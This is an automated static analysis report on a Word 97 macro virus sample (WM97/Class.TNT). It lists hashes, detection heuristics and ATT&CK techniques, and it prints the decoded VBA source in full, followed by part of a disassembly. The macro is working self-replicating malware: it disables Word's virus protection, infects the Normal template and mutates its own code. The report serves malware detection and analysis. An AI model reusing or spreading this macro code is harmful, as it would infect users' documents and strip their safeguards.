Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 177af75ac5a2e31e…

MALICIOUS

Office (OLE)

33.0 KB Created: 1998-11-20 02:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 096b080548304fcef5d58b602fcc7cbd SHA-1: 3ef75c3ce9fe2d502fbbc408d1bdc0f623aa7e9e SHA-256: 177af75ac5a2e31e862c12ee1f381758daa5941394bcdabca49da4e07de59544
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen and AutoClose functions, indicating an attempt to execute code upon document opening and closing. The macro attempts to disable virus protection and manipulate template files, suggesting a downloader or dropper functionality. The presence of legacy WordBasic markers further supports the malicious nature of the document.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-36 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-36
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13722 bytes
SHA-256: 715e8726e677bb94c823e7cb17db832d4b7814da19a0fd96d2d09636e66da0ff
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

Dim rsx, rox, xix, xxi As Integer: Dim xxe, xex, exx, exd, cxi, cix, xic, eox, xoe, oxe, cii, rxe, rex, exr, nix, ixn, nxi, lnr, nrl, rnl As String: o = 0: r = 0

Randomize

On Error GoTo 91

Options.VirusProtection = 0

Options.SaveNormalPrompt = 0

Options.ConfirmConversions = 0

rt = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.countoflines

dt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines

If dt > 0 And rt > 0 Then GoTo 91

If dt = 0 Then

    Set tnt = NormalTemplate.VBProject.VBComponents

    Set hst = ActiveDocument.VBProject.VBComponents

    lt = Int(Rnd(1) * 25) + 1

    If lt = 24 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83) + Chr(32) + Chr(83) + Chr(65) + Chr(89) + Chr(83) + Chr(32) + Chr(72) + Chr(73)

    If Day(25) And Month(12) Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(67) + Chr(76) + Chr(65) + Chr(83) + Chr(83) + Chr(32) + Chr(84) + Chr(78) + Chr(84)
    
    hst.Item(1).Name = tnt.Item(1).Name

    hst.Item(1).Export Application.StartupPath & Chr(84) + Chr(78) + Chr(84)
    
End If

If rt = 0 Then Set tnt = ActiveDocument.VBProject.VBComponents

tnt.Item(1).codemodule.AddFromFile Application.StartupPath & Chr(84) + Chr(78) + Chr(84)

With tnt.Item(1).codemodule

    For j = 1 To 4

    .deletelines 1

    Next j

    End With

If dt = 0 Then tnt.Item(1).codemodule.replaceline 1, "Sub AutoClose()"

If dt = 0 Then tnt.Item(1).codemodule.replaceline 97, "Sub ToolsMarco()"

If dt = 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

With tnt.Item(1).codemodule

    rsx = Int(Rnd(11) * 2998) + 24: rox = Int(Rnd(15) * 5863) + 33: xix = Int(Rnd(44) * 3544) + 55

    cii = Asc(rsx): eox = Chr$(cii + 5): xoe = Chr$(cii - 14): oxe = Chr$(cii + 22): lnr = Chr$(cii - 4)

    cix = Asc(rox): rxe = Chr$(cix + 7): rex = Chr$(cix - 16): exr = Chr$(cix + 4): nrl = Chr$(cix - 17)

    xic = Asc(xix): nix = Chr$(xic + 9): ixn = Chr$(xic - 18): nxi = Chr$(xic + 8): rnl = Chr$(xic - 33)
    
    cxi = Asc(xxi): xxe = Chr$(cxi + 4): xex = Chr$(cxi - 3): exx = Chr$(cxi + 18): exd = Chr$(cxi - 12)

    rd1 = Int(Rnd(1) * 40) + 1
    
    If rd1 = 39 Then .replaceline 85, ".replaceline j, ""'"" & eox & rxe & nix & xoe & rex & ixn & oxe & exr & nix & lnr & nrl & rnl & xxe & xex & exx & exd & oxe & exr & nix & lnr & nrl & rnl & xxe"

End With

  With tnt.Item(1).codemodule

For j = 2 To tnt.Item(1).codemodule.countoflines Step 2

    r = Int(Rnd(412835) * 303989) + 8485

    o = Int(Rnd(487958) * 785865) + 2988

    .replaceline j, "'" & r * r & o * o & r * r * o * o & r * r & o * o & r * r & o * o
    
    Next j

 End With

91:

If dt <> 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

Sub ViewVBCode()

End Sub 'WM97/Class.TNT by Virus :) Smile






' Processing file: /opt/analyzer/scan_staging/f5f43d5c0829447ebb67ed8ae80c0a51.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6846 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' 	Dim 
' 	VarDefn rsx
' 	VarDefn rox
' 	VarDefn xix
' 	VarDefn xxi (As Integer)
' 	BoS 0x0000 
' 	Dim 
' 	VarDefn xxe
' 	VarDefn xex
' 	VarDefn exx
' 	VarDefn exd
' 	VarDefn cxi
' 	VarDefn cix
' 	VarDefn xic
' 	VarDefn eox
' 	VarDefn xoe
' 	VarDefn oxe
' 	VarDefn cii
' 	VarDefn rxe
' 	VarDefn rex
' 	VarDefn exr
' 	VarDefn nix
' 	VarDefn ixn
' 	VarDefn nxi
' 	VarDefn lnr
' 	VarDefn nrl
' 	VarDefn rnl (As String)
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St o 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St r 
' Line #3:
' Line #4:
' 	ArgsCall Read 0x0000 
' Line #5:
' Line 
... (truncated)

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